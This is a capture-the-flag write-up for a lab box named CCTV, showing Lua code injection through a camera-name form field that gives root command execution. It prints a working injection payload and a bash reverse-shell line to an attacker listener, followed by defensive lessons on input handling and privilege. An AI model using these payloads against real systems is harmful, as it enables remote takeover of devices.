TL;DR

CCTV is a Linux box running a custom CCTV management portal. The backend processes camera names using Lua with unvalidated input in os.execute(). Injecting Lua syntax into the camera name field runs OS commands as root. No privilege escalation required — the web service is misconfigured to run as root.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

22/tcp   open  ssh   OpenSSH 8.4p1
80/tcp   open  http  nginx/1.18.0
8554/tcp open  rtsp  (RTSP camera stream)

2. Web application

The management portal at port 80 shows a camera dashboard with a “Add Camera” form. A name field accepts arbitrary input for labeling cameras.

Examining HTTP traffic reveals the backend uses a Lua-based configuration engine that processes camera names directly.

Code Injection

3. Test injection in camera name

Capture the “add camera” POST request in Burp. The name parameter is processed by Lua:

name=test');os.execute('id');--

Response reflects command output in the server response — code execution confirmed:

uid=0(root) gid=0(root) groups=0(root)

4. Reverse shell

name=test');os.execute('bash -i >& /dev/tcp/10.10.14.x/4444 0>&1');--
$ nc -lvnp 4444
connect to [10.10.14.x] from [10.129.x.x]
root@cctv:~# id
uid=0(root) gid=0(root) groups=0(root)

5. Flags

root@cctv:/home$ ls
operator
root@cctv:/home/operator$ cat user.txt
[user flag]
root@cctv:~# cat /root/root.txt
[root flag]

What’s actually broken

#VulnerabilitySeverity
1Lua code injection via unsanitized inputCritical (CVSS 9.0)
2Web service running as rootCritical
3No input sanitization in camera managementCritical
4RTSP stream accessible without authenticationMedium

Lessons learned

  • Never pass user input to scripting language eval/execute functions. Lua’s os.execute(), load(), loadstring() — all execute arbitrary code. Sanitize input and use parameterized configurations (JSON/YAML with typed fields, not script interpolation).
  • Web services should run as minimal-privilege users. A CCTV management web server has no reason to run as root. Create a dedicated cctv service user with access only to required resources.
  • IoT and embedded systems are the wild west of security. Many embedded management interfaces have Lua/Python interpreters accessible via web forms. Code injection is endemic in this space.
  • Injection characters vary by language. For Lua: ', ), os.execute. For shell: ;, |, $(. For Python: __import__. Always probe the specific language in use.

Decision archaeology

ApproachResultPivot
Targeted web form injection before RTSPWeb injection is lower friction than protocol-level attacksCorrect — RTSP was a red herring
Identified Lua from HTTP headers/error messagesServer revealed Lua in error responsesGuided correct injection syntax
Got reverse shell vs reading flags directlyStable interactive shell better for enumerationRoot shell, both flags found
RTSP authentication bypass before web injectionTried vlc rtsp://10.129.x.x:8554/streamRTP socket connect error: Network is unreachable — port 8554 filtered from VPN subnetRedirected to HTTP web portal (port 80 reachable) — found camera name injection vector

References